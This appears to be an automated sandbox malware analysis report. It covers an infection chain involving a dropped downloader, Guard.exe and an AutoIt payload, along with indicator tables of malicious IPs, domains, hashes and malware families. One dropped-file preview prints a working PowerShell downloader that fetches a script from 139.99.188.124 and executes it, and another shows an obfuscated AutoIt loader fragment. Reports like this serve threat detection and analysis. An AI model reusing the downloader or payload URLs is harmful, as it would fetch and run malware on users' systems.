                                                                                                                                                      • Report size getting too big, too many NtWriteVirtualMemory calls found.
                                                                                                                                                      • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                      • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                      TimeTypeDescription
                                                                                                                                                      02:39:46API Interceptor1x Sleep call for process: WMIC.exe modified
                                                                                                                                                      02:39:52API Interceptor2x Sleep call for process: svchost.exe modified
                                                                                                                                                      02:39:53API Interceptor1x Sleep call for process: mshta.exe modified
                                                                                                                                                      02:39:54API Interceptor122x Sleep call for process: powershell.exe modified
                                                                                                                                                      02:40:54API Interceptor1723x Sleep call for process: Guard.exe modified
                                                                                                                                                      02:41:11API Interceptor688x Sleep call for process: SwiftWrite.pif modified
                                                                                                                                                      07:40:18AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url
                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                      139.99.188.1247A2lfjTYNf.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 139.99.188.124/VmnWBYrzn.txt
                                                                                                                                                      6fW0guYpsH.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 139.99.188.124/QWCheljD.txt
                                                                                                                                                      R4qP4YM0QX.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 139.99.188.124/QWCheljD.txt
                                                                                                                                                      R8CAg00Db8.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 139.99.188.124/QWCheljD.txt
                                                                                                                                                      s4PymYGgSh.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 139.99.188.124/EsgMle.txt
                                                                                                                                                      EO3RT0fEfb.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 139.99.188.124/ucZfzm.txt
                                                                                                                                                      RMBOriPHVJ.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 139.99.188.124/mzmLv.txt
                                                                                                                                                      S6x3K8vzCA.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 139.99.188.124/wPBPjuY.txt
                                                                                                                                                      PPbimZI4LV.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 139.99.188.124/BlQMSgJx.txt
                                                                                                                                                      l5VhEpwzJy.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 139.99.188.124/jiJNz.txt
                                                                                                                                                      147.45.49.155R8CAg00Db8.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • tiffany-careers.com/PefjSkkhb.exe
                                                                                                                                                      s4PymYGgSh.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • tiffany-careers.com/BFmcYQ.exe
                                                                                                                                                      duyba.lnk.download.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • tiffany-careers.com/PefjSkkhb.exe
                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                      fg.microsoft.map.fastly.netktyihkdfesf.exeGet hashmaliciousVidarBrowse
                                                                                                                                                      • 199.232.210.172
                                                                                                                                                      QhR8Zp6fZs.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                      • 199.232.210.172
                                                                                                                                                      CNUXJvLcgw.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                      • 199.232.210.172
                                                                                                                                                      xWpAZpLw47.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                      • 199.232.210.172
                                                                                                                                                      R4qP4YM0QX.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 199.232.210.172
                                                                                                                                                      ko.ps1.2.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                      • 199.232.210.172
                                                                                                                                                      EXTERNALRe.msgGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 199.232.210.172
                                                                                                                                                      122046760.batGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                      • 199.232.214.172
                                                                                                                                                      pkqLAMAv96.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                      • 199.232.214.172
                                                                                                                                                      IIC0XbKFjS.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                      • 199.232.210.172
                                                                                                                                                      chrome.cloudflare-dns.comgVKsiQIHqe.exeGet hashmaliciousVidarBrowse
                                                                                                                                                      • 172.64.41.3
                                                                                                                                                      trZG6pItZj.exeGet hashmaliciousVidarBrowse
                                                                                                                                                      • 172.64.41.3
                                                                                                                                                      Loader.exeGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                      • 162.159.61.3
                                                                                                                                                      file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Vidar, XmrigBrowse
                                                                                                                                                      • 172.64.41.3
                                                                                                                                                      MS100384UTC.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 162.159.61.3
                                                                                                                                                      SWIFT.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 162.159.61.3
                                                                                                                                                      Ocean-T2I4I8O9.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 162.159.61.3
                                                                                                                                                      ktyihkdfesf.exeGet hashmaliciousVidarBrowse
                                                                                                                                                      • 172.64.41.3
                                                                                                                                                      pjthjsdjgjrtavv.exeGet hashmaliciousVidarBrowse
                                                                                                                                                      • 162.159.61.3
                                                                                                                                                      invoice.docmGet hashmaliciousMetasploitBrowse
                                                                                                                                                      • 162.159.61.3
                                                                                                                                                      ssl.bingadsedgeextension-prod-europe.azurewebsites.netgVKsiQIHqe.exeGet hashmaliciousVidarBrowse
                                                                                                                                                      • 94.245.104.56
                                                                                                                                                      trZG6pItZj.exeGet hashmaliciousVidarBrowse
                                                                                                                                                      • 94.245.104.56
                                                                                                                                                      file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Vidar, XmrigBrowse
                                                                                                                                                      • 94.245.104.56
                                                                                                                                                      ktyihkdfesf.exeGet hashmaliciousVidarBrowse
                                                                                                                                                      • 94.245.104.56
                                                                                                                                                      pjthjsdjgjrtavv.exeGet hashmaliciousVidarBrowse
                                                                                                                                                      • 94.245.104.56
                                                                                                                                                      file.exeGet hashmaliciousScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, VidarBrowse
                                                                                                                                                      • 94.245.104.56
                                                                                                                                                      QhR8Zp6fZs.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                      • 94.245.104.56
                                                                                                                                                      CNUXJvLcgw.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                      • 94.245.104.56
                                                                                                                                                      xWpAZpLw47.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                      • 94.245.104.56
                                                                                                                                                      pM3fQBuTLy.exeGet hashmaliciousVidarBrowse
                                                                                                                                                      • 94.245.104.56
                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                      FREE-NET-ASFREEnetEU7A2lfjTYNf.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      6fW0guYpsH.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      FzmtNV0vnG.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      lKin1m7Pf2.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      jqplot.htaGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.112.248
                                                                                                                                                      KNkr78hyig.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                                                                                                                      • 147.45.113.159
                                                                                                                                                      Tsy9P2T9yF.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.113.159
                                                                                                                                                      kGxQbLOG7s.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                                                                                                                      • 147.45.113.159
                                                                                                                                                      q79Pocl81P.exeGet hashmaliciousCryptbotBrowse
                                                                                                                                                      • 147.45.113.159
                                                                                                                                                      fnuFOEqg4j.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.113.159
                                                                                                                                                      AKAMAI-ASN1EUjSFUzuYPG9.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                      • 23.55.153.106
                                                                                                                                                      HK8IIasL9i.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                      • 23.55.153.106
                                                                                                                                                      OGBLsboKIF.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                      • 23.55.153.106
                                                                                                                                                      NfwBtCx5PR.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                      • 23.55.153.106
                                                                                                                                                      pJRiqnTih0.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                      • 23.55.153.106
                                                                                                                                                      5XXofntDiN.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                      • 23.55.153.106
                                                                                                                                                      xxLuwS60RS.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                      • 23.55.153.106
                                                                                                                                                      5RjjCWZAVv.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                      • 23.55.153.106
                                                                                                                                                      s31ydU1MpQ.exeGet hashmaliciousLummaC, StealcBrowse
                                                                                                                                                      • 23.55.153.106
                                                                                                                                                      TmmiCE5Ulm.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                      • 23.55.153.106
                                                                                                                                                      OVHFR7A2lfjTYNf.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 139.99.188.124
                                                                                                                                                      6fW0guYpsH.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 139.99.188.124
                                                                                                                                                      x86_32.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                      • 149.202.242.118
                                                                                                                                                      x86_64.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                      • 23.92.237.128
                                                                                                                                                      Fatura227Pendente576.pdf674.msiGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 91.134.82.79
                                                                                                                                                      nshkarm7.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                      • 66.70.211.36
                                                                                                                                                      nsharm7.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                      • 51.195.199.38
                                                                                                                                                      arm7.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                      • 8.33.207.91
                                                                                                                                                      nshkarm5.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                      • 51.161.159.84
                                                                                                                                                      NotaFiscalOnline.ClientSetup.ex#.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                                                                                                      • 51.89.135.228
                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                      3b5074b1b5d032e5620f69f9f700ff0e7A2lfjTYNf.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      6fW0guYpsH.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      FzmtNV0vnG.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      lKin1m7Pf2.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      uLkHEqZ3u3.exeGet hashmaliciousLummaC, Amadey, Babadeda, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      DHL AWB-documents.lnkGet hashmaliciousDivulge StealerBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      Rokadernes.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      tg.exeGet hashmaliciousBabadedaBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      tg.exeGet hashmaliciousBabadedaBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      setup.exeGet hashmaliciousBabadedaBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      37f463bf4616ecd445d4a1937da06e197A2lfjTYNf.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      6fW0guYpsH.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      FzmtNV0vnG.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      lKin1m7Pf2.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      uLkHEqZ3u3.exeGet hashmaliciousLummaC, Amadey, Babadeda, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      gVKsiQIHqe.exeGet hashmaliciousVidarBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      Rokadernes.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      trZG6pItZj.exeGet hashmaliciousVidarBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      9EI7wrGs4K.exeGet hashmaliciousVidarBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      setup.msiGet hashmaliciousUnknownBrowse
                                                                                                                                                      • 147.45.49.155
                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                      C:\Users\Public\Guard.exe7A2lfjTYNf.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                        6fW0guYpsH.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                          FzmtNV0vnG.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                            lKin1m7Pf2.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                              R4qP4YM0QX.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                R8CAg00Db8.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                  s4PymYGgSh.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                    PkContent.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                      PkContent.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                        ldqj18tn.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1310720
                                                                                                                                                                          Entropy (8bit):0.5166051194722658
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaD:cJhXC9lHmutpJyiRDeJ/aUKrDgnmp
                                                                                                                                                                          MD5:8AD4E76CD2A47A133FC812DF15B0C672
                                                                                                                                                                          SHA1:F1B0994C729940E9268E8A6626821526750082B8
                                                                                                                                                                          SHA-256:D89B52F6EFC8CEE9CE68B450B1040086FE7998CF4E8A472D39CF755B7AED6338
                                                                                                                                                                          SHA-512:7B3CA1ADE80B56A92370EDD0928C812159B8F74611DD27F1B5C935314238345CF2F26E1716AC7DC3C2B3641909ED510B2FE21AE6F2B8C189F964EFC66025AF11
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................
                                                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                          File Type:Extensible storage engine DataBase, version 0x620, checksum 0x2afaad44, page size 16384, DirtyShutdown, Windows version 10.0
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1310720
                                                                                                                                                                          Entropy (8bit):0.721734791832612
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:LSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:LazaNvFv8V2UW/DLzN/w4wZi
                                                                                                                                                                          MD5:9E8F908F7B1E02C5EFB9AE985B8427F5
                                                                                                                                                                          SHA1:0193F9CE578353D884FE47A981C57767F8E47095
                                                                                                                                                                          SHA-256:A18EA7CECE19707CA2832F1AADAE6E80BEFDA199E0E12C976FBDA21E5E494EDE
                                                                                                                                                                          SHA-512:1C6F46FD602C6D7D2EB67ACD9BA4FA432820BE2F065ECDFEC8165B305732A78E3CF8046A1C9A8E508F3B89A96994517E0BAF9DE86643C92091EBD531EEDDEB28
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:*..D... ...............X\...;...{......................p.D..........{}.4'...|..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................l..S4'...|...................=..4'...|...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):16384
                                                                                                                                                                          Entropy (8bit):0.0815240492575217
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:3lKYemg8rgpBr/fgsCrZClW/t9l8rlltall+SHY/Xl+/rQLve:VKzqcfgs3GqxlIAS4M
                                                                                                                                                                          MD5:D0ED91EB5EC0137BFF40BD3779B80FF1
                                                                                                                                                                          SHA1:13EBC176C74CA32DB179416FD4442E379B87F058
                                                                                                                                                                          SHA-256:46F3E9847357733F372B67933F8D01A4F58361315761CEE2BEB76B21B3DFF260
                                                                                                                                                                          SHA-512:18A8E8046A5F0FF17F40A5B673C73137526828478EAA55B18872B183A0CDB1728F54EE0A41C48E274625110D23C6FB63D3DD5B8052C3945AEE20F7E9832B95BD
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:g.......................................;...{..4'...|.......{}..............{}......{}.vv_Q.....{}..................=..4'...|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):893608
                                                                                                                                                                          Entropy (8bit):6.62028134425878
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
                                                                                                                                                                          MD5:18CE19B57F43CE0A5AF149C96AECC685
                                                                                                                                                                          SHA1:1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
                                                                                                                                                                          SHA-256:D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
                                                                                                                                                                          SHA-512:A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 8%
                                                                                                                                                                          Joe Sandbox View:
                                                                                                                                                                          • Filename: 7A2lfjTYNf.lnk, Detection: malicious, Browse
                                                                                                                                                                          • Filename: 6fW0guYpsH.lnk, Detection: malicious, Browse
                                                                                                                                                                          • Filename: FzmtNV0vnG.lnk, Detection: malicious, Browse
                                                                                                                                                                          • Filename: lKin1m7Pf2.lnk, Detection: malicious, Browse
                                                                                                                                                                          • Filename: R4qP4YM0QX.lnk, Detection: malicious, Browse
                                                                                                                                                                          • Filename: R8CAg00Db8.lnk, Detection: malicious, Browse
                                                                                                                                                                          • Filename: s4PymYGgSh.lnk, Detection: malicious, Browse
                                                                                                                                                                          • Filename: PkContent.exe, Detection: malicious, Browse
                                                                                                                                                                          • Filename: PkContent.exe, Detection: malicious, Browse
                                                                                                                                                                          • Filename: ldqj18tn.exe, Detection: malicious, Browse
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Users\user\AppData\Roaming\PefjSkkhb.exe
                                                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):486
                                                                                                                                                                          Entropy (8bit):5.264402695461477
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:f73/oomFEoFnV/9LBzFj0zUQbnRS6SxJMnCPTFM:f73/UCknZ9LzjYnRSb8Cba
                                                                                                                                                                          MD5:AA25D3FDAD1F106B38D0FC6EF7812219
                                                                                                                                                                          SHA1:1811C03BBAD3B7ED95835D4CC6D43C664C1B4A5B
                                                                                                                                                                          SHA-256:6CC303DD32C6F3629ACD59CFB6219D30D504AC12BBA0AFD87F38012E211496E0
                                                                                                                                                                          SHA-512:ED1809238957DAF71ADB4F3D0996D9CD51431AC0FB04180F4FEB5A4FE51CF07F95F935D8F56863B019AFAB737E03BE5E2E687FEB8C0416F4E470E40A282EC566
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:[string]$fU5L = "http://139.99.188.124/QWCheljD.txt"..[string]$oF6L = "C:\Users\Public\Secure.au3"..[string]$exePath = "C:\Users\Public\Guard.exe"....# Download the content from the URL..$wResp = New-Object System.Net.WebClient..$fCont = $wResp.DownloadString($fU5L)....# Save the downloaded content to the output file..Set-Content -Path $oF6L -Value $fCont -Encoding UTF8....# Run the executable with the output file as an argument..Start-Process -FilePath $exePath -ArgumentList $oF6L
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (1266)
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1240103
                                                                                                                                                                          Entropy (8bit):5.144317310151777
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12288:28V+jcfSgyuH7Kixj+UXk8pL6OvsEmeXBWD4LkPq0e718m3UDd:qcB7HxicaEmEQD3I1jUZ
                                                                                                                                                                          MD5:5FD6DCD6015C6F3F00D18BE2CE75691F
                                                                                                                                                                          SHA1:63007CCA9ED6C2A903AA30B6FA00EB280D4879A2
                                                                                                                                                                          SHA-256:044C72C01C72338F3559D098BEBF9D251F911B9FF41DD958EB80D8F7C9583C31
                                                                                                                                                                          SHA-512:29DFDE6DBE2BDA1F6FBC7FACD06B9F66BED01BC5C01ECEFC6C35DE0A49D905869ADFFBC89B9934650CC6D28C3F0377FC6BE4CE25F92D54646A909DFAD7282219
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:.Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):60077
                                                                                                                                                                          Entropy (8bit):6.101906833971543
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:GMk1rT8H1nXRCBS2qX7bW43ongorQXdbik:GMYrT8VBkS20hDXdbr
                                                                                                                                                                          MD5:3D2F877CFB31FD43FDCDAFF6422C9300
                                                                                                                                                                          SHA1:F9001B14C6F5B316E7B6E2083B18C06B957B264E
                                                                                                                                                                          SHA-256:15A09D75ED3F8380F6422DC1B5422A1E687DE1D2CBA038738EF3CC861F85560D
                                                                                                                                                                          SHA-512:FD8C74FA01E9ACD8262B1ADDCEE7B8DE8188AA9563AE260A6986C01A18C85F0DA4EB75E984C17466714DDD3EFC59AC0FFC01F72D514177448B62540A840DCE0B
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734939605"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):58932
                                                                                                                                                                          Entropy (8bit):6.104964873955635
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:z/Ps+wsI7yOiRCBS2qX7bWwgorQXdbiR3oM:z/0+zI7yO4kS20IXdbe3
                                                                                                                                                                          MD5:16A551D74A6821D4BB19753FDA14FDCB
                                                                                                                                                                          SHA1:6C7BDC380F8454EB581D442893193DBBB57633AA
                                                                                                                                                                          SHA-256:411CF844CB06B0AF30843099439EAD5A2AA5D10533BB72E89BA0BBB2703D7A8B
                                                                                                                                                                          SHA-512:FBF4075535C43CD783C40AA32D1447BF6ABD6A4E5450B98B0A41E53D9D735A082F8B26E5BFA235DE79D2015162CCB514FEFCA735FB12516BD69D8D9CDA5AC1AE
                                                                                                                                                                          Malicious:false
